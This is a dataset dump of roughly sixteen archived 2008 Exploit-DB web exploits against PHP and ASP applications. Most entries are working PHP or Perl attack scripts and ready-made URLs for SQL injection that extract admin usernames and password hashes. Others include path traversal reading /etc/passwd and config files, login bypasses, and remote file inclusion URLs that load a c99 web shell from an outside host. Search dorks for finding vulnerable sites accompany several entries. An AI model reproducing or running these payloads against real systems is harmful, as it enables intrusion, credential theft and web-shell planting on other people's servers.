QLWD/code_shield huggingface dataset:
标题: QuickUpCMS - Multiple SQL Injections Vulnerabilities EDB-ID: 5588 CVE: 2008-2530 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-11 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#           QuickUpCMS - SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack
#      Date:                        10.05.2008
#
###############################################################
#                                                             
#      Dork1:  inurl:/frontend/news.php?nr=
#      Dork2:  inurl:/frontend/events2.php
#      Dork3:  inurl:/frontend/events3.php?id=
#      Dork4:  inurl:/frontend/fotos2.php?ser=
#      Dork5:  inurl:/frontend/videos2.php?id=
#      Usage: php '.$argv[0].' [Target] [Method] [Userid]
#      Methods:
#         1: news.php
#         2: events2.php
#         3: events3.php
#         4: fotos2.php
#         5: videos2.php
#      Example for "http://www.site.com/frontend/news.php?nr=2"
#      => php '.$argv[0].' http://www.site.com/frontend/ 1 1
#                                                             
###############################################################
');

if ($argc == 4) {

$url = $argv[1];
$methodnr = $argv[2];
$userid = $argv[3];

if ($methodnr==1) {
   $method = 'news.php?nr=null\'union+select+1,2,3,4,5,6,7,8,9,10,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),12/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==2) {
   $method = 'events2.php?d=null&m=null&y=null\'union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==3) {
   $method = 'events3.php?id=null\'union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==4) {
   $method = 'fotos2.php?ser=null\'union+select+1,2,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),4,5/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==5) {
   $method = 'method5: videos2.php?id=null\'union+select+1,2,3,4,5,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),7/**/from+cms_user+where+id='.$userid.'/*';
}

$source = @file_get_contents($url.$method);

echo "\n";
if (strpos($source,'::::')!=0) {
   echo 'User: '.substr($source,strpos($source,'::::')+4,strpos($source,'::1::')-strpos($source,'::::')-4)."\n";
   echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
   echo 'Exploit failed!'."\n";
}
   
} else {
echo "\n".'Not enough arguments!'."\n";
}
?>

# milw0rm.com [2008-05-11] URL: https://www.exploit-db.com/exploits/5588
标题: Ktools Photostore 3.5.1 - 'gid' SQL Injection EDB-ID: 5580 CVE: 2008-6649 2008-6648 2008-6647 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: #########################################
# Remote SQL Injection Vulnerability    #
#                                       #
#  PhotoStore 3.4.3 ( gallery.php gid ) #
#                                       #
#########################################
## Script NAME  : PhotoStore
## VERSION : 3.4.3
## DOWNLOAD : http://www.ktools.net/
#########################################
## AuTh0r : Mr.SQL
## H0ME   : WwW.PaL-HaCkEr.CoM
## Email   : SQL@Hotmail.it 
#########################################
## D0rk ::  n/a   ;)
################################################################################

## ExPlo!t For ADMIN INFO  :
===> http://www.exampel.com/gallery.php?gid=-9696'+UnIoN+SelecT+1,concat(username,0x3c7c7c204d722e53514c207c7c3e,password),3,4,5,6,7,8,9,10,1,12,13+from+mgr_users/*
 
#############
 
## Explo!T For Users INFO :
===> http://www.exampel.com/gallery.php?gid=-9696'+union+select+1,concat(email,'::Mr.SQL::',password),3,4,5,6,7,8,9,10,1,12,13+from+members/*

###################################################################################
 
===>> Admin P@nel
                    /manager/login.php

### N0TE ## YOU Can UploaD Your Ev!l Code  ADMIN CP
#############
<< Gr33Tz >>  
Dark MaSTer :: HaCkEr-EGy :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: SecuritY FearS :: (( MuslimS HaCkErS ))
#####################################################
                                                      
                                                                (( Geek InjEcT0r ))

# milw0rm.com [2008-05-09] URL: https://www.exploit-db.com/exploits/5580
标题: Admidio 1.4.8 - 'getfile.php' Remote File Disclosure EDB-ID: 5575 CVE: 2008-5209 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: /---------------------------------------------------------------\
+                                    +
+         Admidio 1.4.8 Remote File Disclosure            +
+                                    +
\---------------------------------------------------------------/


[*] Author    : n3v3rh00d, http://forum.antichat.ru

[*] Download    : http://prdownloads.sourceforge.net/admidio/admidio-1.4.8.zip

[*] Bug Type    : Remote File Disclosure

[*] Dork    : "Admidio Team"

[*] POC        : /adm_program/modules/download/get_file.php?folder=&file=../../../../../../../../../../etc/passwd&default_folder=

[*] Example    : http://demo.admidio.org/adm_program/modules/download/get_file.php?folder=&file=../../adm_config/config.php&default_folder=

[*] Source    :
    ..........................................................

    $file   = strStripTags(urldecode($_GET['file']));
    $act_folder     = "../../../adm_my_files/download";

    ..........................................................

    $file_name   = "$act_folder/$file";
    $file_length = filesize("$act_folder/$file");
    
    ..........................................................
    
    header("Content-Type: application/octet-stream");
    header("Content-Length: $file_length");
    header("Content-Disposition: attachment; filename=\"$file\"");

    header('Cache-Control: private');
    readfile($file_name);

# milw0rm.com [2008-05-09] URL: https://www.exploit-db.com/exploits/5575
标题: SazCart 1.5.1 - 'prodid' SQL Injection EDB-ID: 5576 CVE: 2008-2411 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: #!/usr/bin/perl

# SazCart <= v1.5.1 (details&prodid) Remote SQL Injection Exploit
# HomePage: http://www.sazcart.com
# Discovered & Coded by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project / EspSeC
# http://www.spanish-hackers.com
# rgod forever :D

# Dork: "Powered by SazCart"


print "\t\t########################################################\n\n";
print "\t\t#   SazCart <= v1.5.1 - Remote SQL Injection Exploit   #\n\n";
print "\t\t#                       by JosS                        #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] SazCart <= v1.5.1 - Remote SQL Injection Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host]\n";
    print "[x] example: http://localhost/path/\n\n";
    exit(1);
 }
 
    print "\n[+] Exploiting...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."?details&prodid=1'+union+all+select+0,1,convert(concat(database(),char(58),user(),char(58),version()),char),3,4/*");
    if ($go->content =~ m/Price<\/b>\:(.*?)\<br/ms)
 {
        print "[+] $1\n\n";
    } else {
        print "\n[-] exploit failed\n";
    }

# milw0rm.com [2008-05-09] URL: https://www.exploit-db.com/exploits/5576
标题: txtCMS 0.3 - 'index.php' Local File Inclusion EDB-ID: 5579 CVE: 2008-5217 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: <!--
Name : txtCMS 0.3 (index.php) Local File Inclusion Exploit
Author : cOndemned
Conditions : Register_globals = On / Magic_quotes_gpc = Off
Greetz : irk4z, GregStar, ZaBeaTy, ElusiveN, Avanturka :***
-->

<html>
<head>
<title>txtCMS 0.3 (index.php) Local File Inclusion Exploit</title>
</head>
<body>
<form action="http://target.host/txtcmsv0.3/index.php" method="POST">
<input type="text" name="id" value="../file%00">
<input type="submit" value="show">
</form>
</body>
</html>

# milw0rm.com [2008-05-09] URL: https://www.exploit-db.com/exploits/5579
标题: Advanced Links Management (ALM) 1.52 - SQL Injection EDB-ID: 5581 CVE: 2008-2529 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-10 漏洞利用脚本: ###################################################
[~] ALM - Advanced Links Management remote SQL injection exploit
[~] Script download : http://www.easy-script.com/scripts-dl/alm_v152.zip                                                                                                            
[~] Founder: His0k4 { ALGERIAN HACKER }
[~] Greetz : All friends & muslims HaCkErS...
[~] Contact: His0k4.hlm[at]gmail.com
[~] P.O.C :
---------------------
http://localhost/[script_path]/read.php?catId={SQL}
[~] Exemple :
http://localhost/[script_path]/read.php?catId=-1 UNION SELECT 1,concat(username,0x3a,password) FROM login--
---------------------
[~] Note:
    Admin login:  http://localhost/[script_path]/admin
---------------------
###############################################

# milw0rm.com [2008-05-10] URL: https://www.exploit-db.com/exploits/5581
标题: HispaH Model Search - 'cat.php?cat' SQL Injection EDB-ID: 5577 CVE: 2008-2537 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: ############### >>> Remote SQL Injection <<<  ###############
##    Cyb3r-1st                                                              Cyb3r-1st    ##
################## >>> InjEctOr5 TeaM  <<< ################

## author   :  cyb3r-1st
## contact :  t3tto0 [at] yahoo.com
                 cyb3r-1st [at] hotmail.com

## script : model-search
## download : www.hispah.com/demos/models1rock  ::> demo

## dork    : find it
## exploit : http://www.site.me/cat.php?cat=[sql injection]

## example:here u can found an sql exploit :::
## for admin inf0 :::
 www.site.me/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+admin/*
## for users inf0  :::
 www.site.me/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+users/*


########### Greetz #############

>>> InjEctOr5 TeaM
>>>my best freinds ::  titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker $ anaconda-ksa $ sirus $ crazy -x  and all freinds
>>> all muslims

# milw0rm.com [2008-05-09] URL: https://www.exploit-db.com/exploits/5577
标题: Cyberfolio 7.12 - 'rep' Remote File Inclusion EDB-ID: 5567 CVE: 2008-2228 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-08 漏洞利用脚本: -==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : cyberfolio 7.2 Remote File Include Vulnerabiliy

# Download From : http://cyberfolio.org/sources/version7.10/cyberfolio_7_12.zip

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  www.4rxh.com     &         www.nb3.cc        

+======================================================================================================================+

# Exploits :

http://WwW.4RxH.CoM/cyberfolio_7_12/portfolio/commentaires/derniers_commentaires.php?rep=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : webmaster@4rxh.com

# bEST wISHES

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-05-08] URL: https://www.exploit-db.com/exploits/5567
标题: Shader TV (Beta) - Multiple SQL Injections EDB-ID: 5564 CVE: 2008-6641 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-08 漏洞利用脚本: Shader TV (Beta) Multiple Remote SQL Ä°njection Vulnerable


Script : http://www.aspindir.com/indir.asp?ID=5441

Script : http://rapidshare.de/files/39341463/ShaderTV.zip.html

Coded  : Asp

Lnguae : Acces


Discovered By U238 | < Ugurcan Engin > 

Friends : ka0x - The_BekiR - Marco Almeida - Erhan Bulut - Caborz  :

Web - Designer Solution Developer

setuid.noexec0x1@hotmail.com

http://noexec.blogspot.com



0x1 = [S** Says : Allah BelanÄ± Versin Ulan Åžiz0 !]

0x2 = [Ben Sadece Ä°yi Bir Ä°nsan Olmak Ä°stemistim ] 


Exploit:

Administrator Login to  creative web panel is atack of to SQL injectin.


http://localhost:2222/lab/ShaderTV/yonet/kanal.asp?islem=degistir&sid=13+union+select+0,kullanici,parola,3,4,5+from+tblyonetici

----

http://localhost:2222/lab/ShaderTV/yonet/google.asp?islem=degistir&sid=1+union+select+0,parola+from+tblyonetici&sayfa=1

http://localhost:2222/lab/ShaderTV/yonet/google.asp?islem=degistir&sid=1+union+select+0,kullanici+from+tblyonetici&sayfa=1

----

http://localhost:2222/lab/ShaderTV/yonet/hakk.asp?islem=degistir&sid=2+union+select+0,parola+from+tblyonetici

http://localhost:2222/lab/ShaderTV/yonet/hakk.asp?islem=degistir&sid=2+union+select+0,kullanici+from+tblyonetici


Administrator Panel : 

target/ShaderTV/yonet



-------------------------------

Admin Panel Login Bypass :

target/ShaderTV/yonet/default.asp


username : 'or' 1=1

password : 'or' 1=1


This is Admin Panel See You ?


---------------------------------

# milw0rm.com [2008-05-08] URL: https://www.exploit-db.com/exploits/5564
标题: vShare YouTube Clone 2.6 - 'tid' SQL Injection EDB-ID: 5565 CVE: 2008-2223 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-08 漏洞利用脚本: #!/usr/bin/perl
# Coded by: Saime
# vShare Youtube Clone v2.6 (group_posts.php tid) Remote SQL Injection
# Author: Saime
# URL: http://www.buyscripts.in
# Price: $10.00
# Date: 8/05/2008
# Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed and everyone else I forgot!
# Site: http://h4ck-y0u.org
use LWP;

$site = @ARGV[0];
$ua = LWP::UserAgent->new;

my $injection = 'group_posts.php?tid=1+union+select+1,2,3,4,concat(username,0x3a,email,0x3a,pwd),6,7+from+signup+limit+0,1--';
if (@ARGV < 1) {&usage;}
else { &exploit( ) }

sub exploit ( ) {
print "[+] Exploiting...\n";
$passres = $ua->get("http://$site/$injection");
$exploitcon = $passres->content;
if ($exploitcon =~ m/<b>Topic:<\/b>(.*)<b>(.*):(.*):([a-f0-9]{32})<\/b><br \/>/gmi){
$pass = $4;
$admin = $2;
$email = $3;
print "[+] Admin Password: $pass\n";
print "[+] Admin Username: $admin\n";
print "[+] Admin Email: $email\n";
}
 else {
      print "[-] Unable To Get The Password...\n";
      exit(0);
  }
}
sub usage ( )
{
print "Usage: ./vshare.pl [host]\n";
print "Example: ./vshare.pl www.site.com\n";
exit(0);
}

# milw0rm.com [2008-05-08] URL: https://www.exploit-db.com/exploits/5565
标题: miniBloggie 1.0 - 'del.php' Arbitrary Delete Post EDB-ID: 5568 CVE: 2008-6650 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-08 漏洞利用脚本: # MiniBloggie Arbitrary Delete Post Vulnerability
# Author: Cod3rZ
# Site: http://cod3rz.helloweb.eu
# PoC:
#  if (isset($_GET['post_id'])) $post_id = $_GET['post_id'];
#  if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];
# [...]
# elseif ($confirm=="yes") {
# [...]
# $sql = "DELETE FROM blogdata WHERE post_id=$post_id";
# $query = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error());
# Vuln: http://site/del.php?post_id=[postid]&confirm=yes
# Ex:   http://127.0.0.1/del.php?post_id=1&confirm=yes
# Visit http://devilsnight.altervista.org

# milw0rm.com [2008-05-08] URL: https://www.exploit-db.com/exploits/5568
标题: SazCart 1.5.1 - Multiple Remote File Inclusions EDB-ID: 5566 CVE: 2008-2224 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-08 漏洞利用脚本: -==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : SazCart 1.5.1 Multiple Remote File Include Vulnerability

# Download From : http://www.sazcart.com/site/download.php?id=16

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  www.4rxh.com     &         www.nb3.cc        

+======================================================================================================================+

# Exploits :

* Must Be Register_Globals Is On

http://WwW.4RxH.CoM/SazCart/layouts/default/header.saz.php?_saz[settings][site_dir]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/SazCart/admin/alayouts/default/pages/login.php?_saz[settings][site_url]=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : webmaster@4rxh.com

# bEST wISHES

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-05-08] URL: https://www.exploit-db.com/exploits/5566
标题: Joomla! Component Datsogallery 1.6 - Blind SQL Injection EDB-ID: 5583 CVE: 2008-5208 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-10 漏洞利用脚本: <?
//Joomla Component com_datsogallery 1.6 Blind SQL Injection Exploit by +toxa+
//Greets: all members of antichat.ru & cih.ms 

//options
set_time_limit(0);
ignore_user_abort(1);
$norm_ua='Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14';
$url=$_GET['url'];
$where=(!empty($_GET['user']))?"where username='".$_GET['user']."'":'limit 0,1';
$id=(!empty($_GET['id']))?$_GET['id']:'1';

//functions
function send_xpl($url, $xpl){
 global $id;
 $u=parse_url($url);
 $req ="GET ".$u['path']."components/com_datsogallery/sub_votepic.php?id=$id&user_rating=1 HTTP/1.1\r\n";
 $req.="Host: ".$u['host']."\r\n";
 $req.="User-Agent: ".$xpl."\r\n";
 $req.="Connection: Close\r\n\r\n";
 $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
 fwrite($fs, $req);
 $res=fread($fs, 4096);  
 fclose($fs);
 return $res;
}

function xpl($condition, $pos){
 global $norm_ua;
 global $where;
 $xpl=rand(1,100000)."'),(1,if(ascii(substring((select password from #__users $where),$pos,1))$condition,(select '$norm_ua'),(select link from #__menu)))/*";
 return $xpl;
}

//main
echo '<title>Joomla Component com_datsogallery 1.6 Blind SQL Injection Exploit by +toxa+</title>';
if(empty($url)) die($_SERVER['SCRIPT_NAME']."?url=[url]&user=[username]&id=[pic_id]\n<br>username&pic_id - optional\n");
send_xpl($url, $norm_ua);

//get md5
for($i=0;$i<=32;$i++){
 $buff=send_xpl($url,xpl('>58', $i));
 if(preg_match('/Duplicate entry/', $buff)){
  for($j=97;$j<=102;$j++){
   if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
  }
 } elseif(preg_match('/Subquery returns more than 1 row/', $buff)){
  for($j=48;$j<=57;$j++){
   if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
  }
 } else {
  die("exploit failed");
 }
}

//check Joomla version
$test=rand(1,100000)."'),(1,if((select length(password) from #__users $where)=32,(select '$norm_ua'),(select link from #__menu)))/*";
$buff=send_xpl($url,$test);
if(preg_match('/Duplicate entry/', $buff)) die($pass);

//separator
$pass.=':';

//get salt
for($i=33;$i<=49;$i++){
 $buff=send_xpl($url,xpl('>58', $i));
 if(preg_match('/Duplicate entry/', $buff)){
  $buff=send_xpl($url, xpl('>91',$i));
  if(preg_match('/Duplicate entry/', $buff)){
   for($j=97;$j<=122;$j++){
    if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
   }
  } elseif(preg_match('/Subquery returns more than 1 row/', $buff)){
   for($j=65;$j<=90;$j++){
    if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
   }
  } else {
   die("exploit failed");
  }
 } elseif(preg_match('/Subquery returns more than 1 row/', $buff)){
   for($j=48;$j<=57;$j++){
    if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
   }
 } else {
  die("exploit failed");
 }
}
echo $pass;

# milw0rm.com [2008-05-10] URL: https://www.exploit-db.com/exploits/5583
标题: CMS Faethon 2.2 Ultimate - Remote File Inclusion / Cross-Site Scripting EDB-ID: 5558 CVE: 2008-2128 2008-2127 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: -==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : CMS Faethon 2.2 Ultimate Multiple Remote Vulnerabilies

# Download From : http://cmsfaethon.org

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM            

+======================================================================================================================+

# Exploits :

1- RFI :

http://WwW.4RxH.CoM/22_ultimate/templates/header.php?mainpath=http://rxh.freehostia.com/shells/c99in.txt?

2- XSS :

http://WwW.4RxH.CoM/22_ultimate/search.php?what=&where=articles

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : webmaster@4rxh.com

# bEST wISHES

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5558
标题: OneCMS 2.5 - Blind SQL Injection EDB-ID: 5557 CVE: 2008-6652 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: #!/usr/bin/perl
# OneCMS 2.5 Remote Blind SQL Injection Exploit
# Author : Cod3rZ
# Site : http://cod3rz.helloweb.eu
# Site : http://devilsnight.altervista.org
# Usage : perl oc.pl site
# There's many other bugs, find them yourself

use LWP::UserAgent;
use HTTP::Request::Common;
use Time::HiRes;

$ua = LWP::UserAgent->new;

$site = $ARGV[0];

if(!$site) { &usage; }
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);

sub usage {
 print " Usage: perl oc.pl site \n";
 print " Ex.: perl oc.pl http://127.0.0.1 \n";
}
sub request {
 $var = $_[0];
 $start = Time::HiRes::time();
 $response = $ua->request(POST $site.'/asd.php',[ sitename => $var, ]);
 $response->is_success() || print("$!\n");
 $end = Time::HiRes::time();
 $time = $end - $start;
 return $time
}
sub refresh{
 system("cls");
 print " -------------------------------------------------\n";
 print " OneCMS 2.5 Remote Blind Sql Injection Exploit    \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";
 print " Please Wait..                                    \n";
 print " Hash : " . $_[3] . "                             \n";
 print " -------------------------------------------------\n";
}
for ($i = 1; $i < 33; $i++)
 {
  for ($j = 0; $j < 16; $j++)
   {
   $var = "lol'+(SELECT IF ((ASCII( SUBSTRING( `password` , ".$i.", 1 ) ) =".$array[$j]." ) , benchmark( 200000000, CHAR( 0 )),0) FROM onecms_users WHERE `id` =1)+ '', '', '', '', '', '', '', '', '', '')/*";
 $time = request($var);
 refresh($host,$timedefault,$j,$hash,$time,$i);
if($time > 4)
{
 $time = request($var);
 refresh($host,$timedefault,$j,$hash,$time,$i);
 $hash .= chr($array[$j]);
 refresh($host,$timedefault,$j,$hash,$time,$i);
 $j=200;
}}

if($i == 1 && !$hash)
{
 print " Failed                                           \n";
 print " -------------------------------------------------\n";
 die();
}
if($i == 32) {
 print " Exploit Terminated                               \n";
 print " -------------------------------------------------\n ";
 system('pause');
}}

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5557